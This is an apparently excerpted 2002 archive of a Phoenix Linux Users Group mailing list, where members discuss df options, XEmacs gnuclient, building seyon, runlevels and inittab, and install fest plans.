-Alpha > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > - ----------------------------------------------------------- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPQkKggGGayDd50X1EQJG8wCg0DFZzz7UCJ/vZ1coqLl0wLzj9MYAnjpe 5Vpx6BbsuwpAkB260jqD2rtE =1uRs -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 21:18:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 13 Jun 2002 14:18:43 -0700 Subject: a df option question In-Reply-To: <15624.60789.387418.334915@bela.interhack.net> References: <15624.56702.739725.690008@bela.interhack.net> <200206131136.16724.zen2now@qwest.net> <15624.60789.387418.334915@bela.interhack.net> Message-ID: <200206131418.43134.zen2now@qwest.net> DOH!!!! slr On Thursday 13 June 2002 12:07 pm, Lynn David Newton wrote: > No more responses necessary. See below. > > slr> nor have i, my RH7.1, 7.2 and 7.3 boxes all report: > slr> df -b MB > slr> df: invalid option -- b > > That was an upper case -B. > > Someone sent me a copy of a df man page, said to be > from Mandrake 8.2, that does indeed document -B MB as > being valid. The relevant part of the man page says: > > -B, --block-size=SIZE use SIZE-byte blocks > > ... > > SIZE may be (or may be an integer optionally followed by) > one of following: kB 1000, K 1024, MB 1,000,000, M > 1,048,576, and so on for G, T, P, E, Z, Y. > > Interesting. And certainly unportable. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 21:27:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Thu, 13 Jun 2002 14:27:20 -0700 Subject: Job control commands In-Reply-To: References: Message-ID: <15625.3640.781825.389752@bela.interhack.net> >> (I.e., I start emacs on virtual terminal 3 and I >> want to move it to virtual terminal 2) hans> Look at screen for character based apps. hans> emacs has a way to attach to another emacs hans> session similar to vnc. I think you have to hans> actually close the local window before you can hans> open it remotely, though. hans> Time for the emacs people to pipe up :). That would be me, but I'm not sure I understand the question. I'll tell what I know about that sounds similar. Whether the following runs with GNU Emacs I do not know, but I think so. With XEmacs you can start a daemon process running called gnuserv. It comes with the distribution, and its' started within XEmacs once it's running with M-x gnuserv-start. (Usually inserted in startup files.) This process listens for calls to it from external sources. The process runs on a per-user basis, by setting up a directory in /tmp/gsrvdir${UID} and putting a socket file in that directory to communicate with. There are a number of ways in which this is useful. I have the following environment variables set inside XEmacs, where I also run a lot of shells. CVSEDITOR=gnuclient EDITOR=gnuclient FCEDIT=gnuclient VISUAL=gnuclient That way anytime I want to call a shell utility that uses the value of one of those variables, it automatically pops up a new window with the required stuff. I can also run a shell command lines like this: $ gnuclient "filename" to edit filename in a new buffer (and window) or $ gnuclient -eval '(dired "/etc")' But one of the coolest things you can do is: $ gnuclient -nw which allows gnuclient to attach itself to a running XEmacs process in the current TTY. I have used this to login from a remote system using telnet or ssh and attach myself to an already running XEmacs process. That way I can read my email or do anything I want from the remote system, and things will be exactly as I changed them when I get back to the original system. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:12:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 19:12:36 -0400 Subject: Building seyon. Where xmkmf? Message-ID: OK, I want to try the X windows based serial port terminal program seyon. I downloaded the source. The docs say to "run xmkmf" to begin the build process. I don't have this xmkmf on my Red Hat 7.2 or 7.3 system. I find references to it all over the net but no place where I can download it. A) Does anyone know where I can download this makefile generator utility? OR B) Can I build seyon without this utility, somehow using the Imakefile to generate a real makefile? Or are there other options to get seyon? Alan From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:23:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Austin Godber) Date: Thu, 13 Jun 2002 16:23:21 -0700 Subject: Building seyon. Where xmkmf? References: Message-ID: <3D092969.E0D26CCC@asu.edu> Are you sure it is not in: godber@hostname ~>locate xmkmf /usr/X11R6/bin/xmkmf /usr/X11R6/bin/mxmkmf Also, I sould just stick with minicom. Seyon isn't that great. Well, its always annoyed me. alandd@mindspring.com wrote: > > OK, I want to try the X windows based serial > port terminal program seyon. I downloaded the > source. The docs say to "run xmkmf" to begin > the build process. > > I don't have this xmkmf on my Red Hat 7.2 or 7.3 > system. I find references to it all over the > net but no place where I can download it. > > A) Does anyone know where I can download this > makefile generator utility? > > OR > > B) Can I build seyon without this utility, > somehow using the Imakefile to generate a real > makefile? > > Or are there other options to get seyon? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:30:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Thu, 13 Jun 2002 16:30:22 -0700 Subject: a df option question References: Message-ID: <3D092B0E.AB52DEF0@earthlink.net> And off my Mandrake 8.1 : [pete@rotor pete]$ df Filesystem 1k-blocks Used Available Use% Mounted on /dev/hda1 248964 119884 129080 49% / /dev/hda8 240928 34780 206148 15% /boot none 192212 0 192212 0% /dev/shm /dev/hda12 6152668 2826800 3325868 46% /home /dev/hda11 3622508 98152 3524356 3% /opt /dev/hda6 4176736 2013256 2163480 49% /usr /dev/hda7 329284 130696 198588 40% /var /dev/hda9 2273088 32840 2240248 2% /var/ftp /dev/hda10 2104408 42516 2061892 3% /var/www [pete@rotor pete]$ df -b df: invalid option -- b Try `df --help' for more information. [pete@rotor pete]$ df -B df: invalid option -- B Try `df --help' for more information. [pete@rotor pete]$ df -B MB df: invalid option -- B Try `df --help' for more information. [pete@rotor pete]$ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:34:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 13 Jun 2002 16:34:31 -0700 Subject: Building seyon. Where xmkmf? In-Reply-To: <3D092969.E0D26CCC@asu.edu> References: <3D092969.E0D26CCC@asu.edu> Message-ID: <200206131634.36948.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 13 June 2002 04:23 pm, Austin Godber wrote: > godber@hostname ~>locate xmkmf > /usr/X11R6/bin/xmkmf > /usr/X11R6/bin/mxmkmf To add a little information, it is part of the XFree86-devel package. (New user hint (for rpm-based systems): 'rpm -qf /usr/X11R6/bin/xmkmf') > Also, I sould just stick with minicom. Seyon isn't that great. Well, > its always annoyed me. I would have to agree with this. I found minicom to be quite excellent, while seyon was only good. However, note that with minicom you might have to configure both minicom and/or your terminal for things like backspaces, while seyon is on its own. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9CSwLpNoctRtUIRQRAqHxAJ0YrNkADLkGTx+koWvQc/wmcWGuHACfZgDW +dinXOTxdDJKlJwom+sNMyI= =CF/g -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:36:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 13 Jun 2002 16:36:33 -0700 Subject: a df option question In-Reply-To: <3D092B0E.AB52DEF0@earthlink.net> References: <3D092B0E.AB52DEF0@earthlink.net> Message-ID: <200206131636.38755.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 13 June 2002 04:30 pm, mazdaracer wrote: > And off my Mandrake 8.1 : Maybe it is an extremely new feature. RedHat 7.3 has version 4.1 of fileutils, while Mandrake uses 4.1.5. Something to think about. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9CSyFpNoctRtUIRQRAvDDAJ9kk3YPSh6gWTpW7C6pnzJfHRuXegCgkGqc DhV2Z3o2mrh20bGhF55PJ7U= =xgLh -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:36:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Buettner) Date: Thu, 13 Jun 2002 16:36:39 -0700 Subject: Building seyon. Where xmkmf? In-Reply-To: "Building seyon. Where xmkmf?" (Jun 13, 7:12pm) References: Message-ID: <1020613233634.ZM28535@localhost.localdomain> On Jun 13, 7:12pm, wrote: > OK, I want to try the X windows based serial > port terminal program seyon. I downloaded the > source. The docs say to "run xmkmf" to begin > the build process. > > I don't have this xmkmf on my Red Hat 7.2 or 7.3 > system. I find references to it all over the > net but no place where I can download it. > > A) Does anyone know where I can download this > makefile generator utility? xmkmf is in /usr/X11R6/bin/xmkmf If you don't have it on your Red Hat 7.3 system, install the XFree86-devel-4.2.0-8 RPM from CD. Kevin From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 00:08:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 13 Jun 2002 17:08:02 -0700 Subject: install fest suggestion In-Reply-To: References: Message-ID: <0206131708021R.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Ahhhh . . . getting Linux installed on a box is just the start of the conspiracy. After they are hooked, we get them to PLUG meetings, get PLUG to do some training sessions, and from there, who knows ::grin:: On Thursday 13 June 2002 14:11, you wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Something I wish I had when I was beginning (and still do for that > matter) is a quick-reference of shell commands. Granted, this isn't > something the "average computer user" might want, but I think an > "average Linux user" would find this very helpful. This could even be > something printable from the website. I think it should contain the > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > etc..., I'm sure there are some I'm leaving out in my own > inexperience), a list of customizable files (bash prompts & profiles, > fstab, etc) and possibly (no religious wars here) a quick startup > guide to a text-editor. I personally just figured out how to save and > exit vi, and don't ask me to quit without saving. This may be over > the head of some users as I an a Linux newbie, but not technically > inexperienced. > > Anywhoo, it's something I wish I had. > > > "I've had a wonderful time, but this wasn't it." > -- Groucho Marx > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com > > - -----Original Message----- > From: plug-discuss-admin@lists.PLUG.phoenix.az.us > [mailto:plug-discuss-admin@lists.PLUG.phoenix.az.us]On Behalf Of > Robert > A. Klahn > Sent: Thursday, June 13, 2002 11:54 AM > To: plug-discuss@lists.PLUG.phoenix.az.us > Subject: Re: install fest suggestion > > > I dont know if kernel compiling is a skill that every Linux user > needs > to know. An enormous amount can be done with most distributions > before > the point where one needs to know how is reached. > > Bash skills, however, are probably basic. It might be possible to get > by without, but I would not want to try. > > That being said, I think the suggestion, for both Bash and Kernel > Compiling, is a good one, given sufficient intrest. > > Bob. > > On Thu, 13 Jun 2002 12:30:28 -0700, > > plug-discuss-request@lists.plug.phoenix.az.us said: > > Message: 1 > > Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) > > From: Alpha Zenon Sanchez > > Subject: install fest suggestion > > To: plug-discuss@lists.plug.phoenix.az.us > > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > > Hello Linux Users - > > > > I was wondering if anyone cared to give demonstrations > > on the proper way of compiling a Linux Kernel during > > the installfest (I'm looking forward to it btw). I'm > > starting get a 'feel' for Linux, and I've read > > HOW_TO's > > and various articles on compiling, but they're all > > different. I've downloaded articles from ZDNET and > > techrepublic as well. These articles say different > > things which would confuse a Linux beginner. > > > > My thinking is that some people that will show up at > > the intallfest are Linux 'newbies' and would jump at > > a chance to watch Linux users who have been doing this > > a while demonstrate some Linux skills. > > > > Besides Kernal compiling and basic bash commands, what > > else should a Linux user know? > > > > Thanks in advance > > > > -Alpha > > > > ===== > > Thanks, > > Alpha Zenon Sanchez > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > - ----------------------------------------------------------- > Robert A. Klahn > robert@kint.org > AIM: rklahn > > "Hope has two beautiful daughters: Anger and Courage. Anger > at the way things are, and Courage to struggle to create > things as they should be." -- St. Augustine > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPQkKggGGayDd50X1EQJG8wCg0DFZzz7UCJ/vZ1coqLl0wLzj9MYAnjpe > 5Vpx6BbsuwpAkB260jqD2rtE > =1uRs > -----END PGP SIGNATURE----- > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQkz4ysk3ywszI1FEQJWxgCfbnjqcojWriboqoliystJR1+FY6IAoIr7 zSNAjxxb/g1+YviYpKcqTAFV =Jdik -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 00:58:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Thu, 13 Jun 2002 17:58:52 -0700 Subject: Questions References: <0206131708021R.08309@nova.wedge.org> Message-ID: <007101c2133e$a6b0f430$6501a8c0@drghastly> First, very small note of pride, got my samba server running. Would have taken me a lot less time, if it hadn't been for the fact I was stupid and didn't realize you have to run SWAT as root....after that it was easy. On to my question. I'm trying to figure out how to change the desktop resolution in KDE with my RH7.3 I can see the settings for the X-Server, but I can't figure out how to change it..? Any help would be nice. I'll keep looking myself in the meantime. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 22:34:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Thu, 13 Jun 2002 15:34:59 -0700 Subject: East Side Meeting Today Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DDA@azmscorp01.corp.azms> Just curious is http://plug.phoenix.az.us/ down. I am trying to get directions to get out there for the meeting. Thanks. Larry -----Original Message----- From: alandd@mindspring.com [mailto:alandd@mindspring.com] Sent: Thursday, June 13, 2002 8:15 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: [PLUG-announce]East Side Meeting Tomorrow! Please, PLEASE remember: The subject line is wrong. The meeting is TODAY. Alan On Wed, 12 Jun 2002 14:00:20 -0400 plug-announce-admin@lists.PLUG.phoenix.az.us wrote: YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. They will be bringing stuff to giveaway too! I hope you can be there. The ususal place and time Sequoia School, 7pm Alan _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 01:32:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 13 Jun 2002 18:32:10 -0700 (PDT) Subject: Questions In-Reply-To: <007101c2133e$a6b0f430$6501a8c0@drghastly> Message-ID: On Thu, 13 Jun 2002, Dr.G wrote: > On to my question. I'm trying to figure out how to change the desktop > resolution in KDE with my RH7.3 I can see the settings for the X-Server, but > I can't figure out how to change it..? Any help would be nice. I'll keep > looking myself in the meantime. The simplest way is to go to runlevel 3 and run Xconfigurator. Then choose the resolution you'd like and go back to runlevel 5. For example: init 3 Xconfigurator init 5 From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 01:38:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Thu, 13 Jun 2002 18:38:18 -0700 Subject: Questions References: Message-ID: <007f01c21344$28c9c190$6501a8c0@drghastly> I assume by runlevel3 you mean my level of access? <----Noob. ----- Original Message ----- From: "Matt Alexander" To: Sent: Thursday, June 13, 2002 6:32 PM Subject: Re: Questions > On Thu, 13 Jun 2002, Dr.G wrote: > > > On to my question. I'm trying to figure out how to change the desktop > > resolution in KDE with my RH7.3 I can see the settings for the X-Server, but > > I can't figure out how to change it..? Any help would be nice. I'll keep > > looking myself in the meantime. > > The simplest way is to go to runlevel 3 and run Xconfigurator. Then > choose the resolution you'd like and go back to runlevel 5. For example: > > init 3 > Xconfigurator > init 5 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 01:53:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 13 Jun 2002 18:53:54 -0700 (PDT) Subject: Questions In-Reply-To: <007f01c21344$28c9c190$6501a8c0@drghastly> Message-ID: On Thu, 13 Jun 2002, Dr.G wrote: > I assume by runlevel3 you mean my level of access? <----Noob. When your system boots up it consults /etc/inittab to find the default runlevel. Your inittab most likely has this line: id:5:initdefault: This tells your system to boot into runlevel 5. /etc/rc.d/rc5.d contains aliases to the scripts that will be executed at this runlevel. You'll also see a line like this: x:5:respawn:/etc/X11/prefdm -nodaemon This line tells your box to run the X Window System at runlevel 5. You'll also see other lines for tty's, etc. So, by changing to runlevel 3, you're exiting out of the GUI environment. If you wanted to run your box without the GUI, you could change the initdefault to 3 and always boot to a console (I do this for all of my servers). Level 6 means reboot, so if you type init 6 (as root), you'll reboot your box. Init 0 is to shutdown. Init 1 is single-user mode. The other runlevels can be defined for whatever purpose you'd like. Consult the inittab manpage for more detail. ~M From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 03:55:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 13 Jun 2002 23:55:27 -0400 Subject: Suggestions? References: <002101c212f0$3d6a1a90$0100000a@kilo> Message-ID: <3D09692F.D6EC07DC@georgetoft.com> There is an article in SysAdmin magazine that covers this topic in great detail, including code. George James Shaker wrote: > > Hello All, > > I would like to use "you all" as a sounding board for a project I am > working on, if that is ok? > > We have developed a machine that will be deployed in a few thousand > locations around the US, Puerto Rico, and Bahamas. This product will be > connected to a phone line and will call a linux server that we set up as > a PPP dial in server. Once connected, the product will send a small > email detailing production amounts and status information. The machine > will also receive an email, if any, for parameter changes, etc. This > all works well. > > Once the server receives the email I want to parse that information and > put it into MySql. The status of these machines can be viewed via the > web using apache and PHP4. > > What I would like some advice on, what is the better method of parsing > the email and putting it into MySql? > > Its not that I don't have many options... I have too many. > > Procmail -> awk/sed -> PHP4 script -> MySql > > Perl -> MySql > > And many other combination of tools. I am leaning towards a Perl -> > MySql solution for the simplicity; however, I want to know if anyone > else has something that might be better. Perhaps Python? > > Thank "you all" for your time, > > James > james@vartek-corp.com > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 03:57:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 13 Jun 2002 23:57:32 -0400 Subject: a df option question References: <15624.56702.739725.690008@bela.interhack.net> <0206131135441H.08309@nova.wedge.org> Message-ID: <3D0969AC.AB8D9AF4@georgetoft.com> df -B is not valid on my system (SuSE), and the man page is copyright 2001. George Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > - From a man df | more on my M8.0 system: > > DF(1) FSF DF(1) > > NAME > df - report filesystem disk space usage > > SYNOPSIS > df [OPTION]... [FILE]... > > DESCRIPTION > This manual page documents the GNU version of df. df dis­ > plays the amount of disk space available on the filesystem > containing each file name argument. If no file name is > given, the space available on all currently mounted > filesystems is shown. Disk space is shown in 1K blocks by > default, unless the environment variable POSIXLY_CORRECT > is set, in which case 512-byte blocks are used. > > If an argument is the absolute file name of a disk device > node containing a mounted filesystem, df shows the space > available on that filesystem rather than on the filesystem > containing the device node (which is always the root > filesystem). This version of df cannot show the space > available on unmounted filesystems, because on most kinds > of systems doing so requires very nonportable intimate > knowledge of filesystem structures. > > OPTIONS > Show information about the filesystem on which each FILE > resides, or all filesystems by default. > > -a, --all > include filesystems having 0 blocks > > --block-size=SIZE use SIZE-byte blocks > > -h, --human-readable > print sizes in human readable format (e.g., 1K 234M > 2G) > > -H, --si > likewise, but use powers of 1000 not 1024 > > -i, --inodes > list inode information instead of block usage > > -k, --kilobytes > like --block-size=1024 > > -l, --local > limit listing to local filesystems > > -m, --megabytes > like --block-size=1048576 > > --no-sync > do not invoke sync before getting usage info > > GNU fileutils 4.0p March 2001 1 > > DF(1) FSF DF(1) > > (default) > > -P, --portability > use the POSIX output format > > --sync invoke sync before getting usage info > > -t, --type=TYPE > limit listing to filesystems of type TYPE > > -T, --print-type > print filesystem type > > -x, --exclude-type=TYPE > limit listing to filesystems not of type TYPE > > -v (ignored) > > --help display this help and exit > > --version > output version information and exit > > AUTHOR > Written by Torbjorn Granlund, David MacKenzie, Larry > McVoy, and Paul Eggert. > > REPORTING BUGS > Report bugs to . > > COPYRIGHT > Copyright © 1999 Free Software Foundation, Inc. > This is free software; see the source for copying condi­ > tions. There is NO warranty; not even for MERCHANTABILITY > or FITNESS FOR A PARTICULAR PURPOSE. > > SEE ALSO > The full documentation for df is maintained as a Texinfo > manual. If the info and df programs are properly > installed at your site, the command > > info df > > should give you access to the complete manual. > > > > > > > > > > > > > > GNU fileutils 4.0p March 2001 2 > > On Thursday 13 June 2002 10:59, you wrote: > > I have a couple of students using Mandrake on laptops > > who reported to me that df -B MB is a valid option for > > df on their system. They even supply output showing > > what it does. > > > > I've never heard of such an option in any version of > > Unix I've ever used. Mandrake is based on Red Hat, > > which uses the GNU tools for all the most standard > > utilities, right? > > > > Does anyone know anything about this? I'd love to see a > > df(1) man page off a Mandrake system. > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQjmASsk3ywszI1FEQKTegCgyXj0F6+6Bc29dx+aH1bDhvlxNAgAoLT+ > MxUCeon0WFV3/XhcIozPbBZI > =mVT7 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 06:40:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 13 Jun 2002 23:40:01 -0700 Subject: stupid boot question Message-ID: <3D098FC1.219639AA@leml.asu.edu> Got an old box that I installed a new version of RH on... The monitor def is off and I need to: 1) force it to boot ascii, and 2) where does one turn on/*off* the graphical login? thanks, EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 07:18:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 14 Jun 2002 00:18:13 -0700 Subject: stupid boot question In-Reply-To: <3D098FC1.219639AA@leml.asu.edu> References: <3D098FC1.219639AA@leml.asu.edu> Message-ID: <1024039093.28780.2.camel@barney.azapple.com> On Thu, 2002-06-13 at 23:40, John (EBo) David wrote: > > Got an old box that I installed a new version of RH on... The monitor > def is off and I need to: > > 1) force it to boot ascii, and > 2) where does one turn on/*off* the graphical login? > ---- edit one of the lines in grub before booting - or control-X in lilo and tell it 'linux 3' or boot as normal - press Control-Alt-2 to get a text console login - tell it runlevel 3. change /etc/inittab to be run level 3 as default if desired Craig From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 12:13:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Fri, 14 Jun 2002 05:13:33 -0700 (MST) Subject: stupid boot question In-Reply-To: <3D098FC1.219639AA@leml.asu.edu> Message-ID: To permanently change the run level: /etc/inittab # Default runlevel. The runlevels used by RHS are: # 0 - halt (Do NOT set initdefault to this) # 1 - Single user mode # 2 - Multiuser, without NFS (The same as 3, if you do not have networking) # 3 - Full multiuser mode # 4 - unused # 5 - X11 # 6 - reboot (Do NOT set initdefault to this) # id:5:initdefault: -- change id:5:initdefault: -- to be: id:3:initdefault: (don't mess with the other entries in this file, you'll be sorry if you do!) "or boot as normal - press Control-Alt-2 to get a text console login - tell it runlevel 3." --- as the root user, run this command: init 3 You'll see several of the same startup commands run as you would see during a normal boot, when finished, the display will be at the text login. If the X configuration is so far off that after boot you can't make out what is on the screen, no sweat. Just wait long enough that you are sure it's completely booted, press and hold the Control and the Alt keys, while holding these, press the F1 key... you'll get a text login screen. -------------------------------------------- On Thu, 13 Jun 2002, John (EBo) David wrote: Got an old box that I installed a new version of RH on... The monitor def is off and I need to: 1) force it to boot ascii, and 2) where does one turn on/*off* the graphical login? thanks, EBo -- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 13:19:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 14 Jun 2002 09:19:55 -0400 Subject: Building seyon. Where xmkmf? Message-ID: Wouldn't you know it, the two computers I looked on to find the file, don't have any of the development packages installed. And I am the one that configured the systems without development stuff (face red). Thanks all. Alan On Thu, 13 Jun 2002 16:36:39 -0700 Kevin Buettner wrote: On Jun 13, 7:12pm, wrote: > OK, I want to try the X windows based serial > port terminal program seyon. I downloaded the > source. The docs say to "run xmkmf" to begin > the build process. > > I don't have this xmkmf on my Red Hat 7.2 or 7.3 > system. I find references to it all over the > net but no place where I can download it. > > A) Does anyone know where I can download this > makefile generator utility? xmkmf is in /usr/X11R6/bin/xmkmf If you don't have it on your Red Hat 7.3 system, install the XFree86-devel-4.2.0-8 RPM from CD. Kevin ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 20:55:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 13 Jun 2002 16:55:59 -0400 (EDT) Subject: install fest suggestion In-Reply-To: Message-ID: This one was just published on Linux Newbie. First glance looks pretty good, and nicely formatted for print right from Mozilla. Maybe could contact the author about doing reprints for the install fest. http://linux.org.mt/article/terminal On Thu, 13 Jun 2002, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Something I wish I had when I was beginning (and still do for that > matter) is a quick-reference of shell commands. Granted, this isn't > something the "average computer user" might want, but I think an > "average Linux user" would find this very helpful. This could even be > something printable from the website. I think it should contain the > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > etc..., I'm sure there are some I'm leaving out in my own > inexperience), a list of customizable files (bash prompts & profiles, > fstab, etc) and possibly (no religious wars here) a quick startup > guide to a text-editor. I personally just figured out how to save and > exit vi, and don't ask me to quit without saving. This may be over > the head of some users as I an a Linux newbie, but not technically > inexperienced. > > Anywhoo, it's something I wish I had. > > > "I've had a wonderful time, but this wasn't it." > -- Groucho Marx > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com > > - -----Original Message----- > From: plug-discuss-admin@lists.PLUG.phoenix.az.us > [mailto:plug-discuss-admin@lists.PLUG.phoenix.az.us]On Behalf Of > Robert > A. Klahn > Sent: Thursday, June 13, 2002 11:54 AM > To: plug-discuss@lists.PLUG.phoenix.az.us > Subject: Re: install fest suggestion > > > I dont know if kernel compiling is a skill that every Linux user > needs > to know. An enormous amount can be done with most distributions > before > the point where one needs to know how is reached. > > Bash skills, however, are probably basic. It might be possible to get > by without, but I would not want to try. > > That being said, I think the suggestion, for both Bash and Kernel > Compiling, is a good one, given sufficient intrest. > > Bob. > > On Thu, 13 Jun 2002 12:30:28 -0700, > plug-discuss-request@lists.plug.phoenix.az.us said: > > > Message: 1 > > Date: Thu, 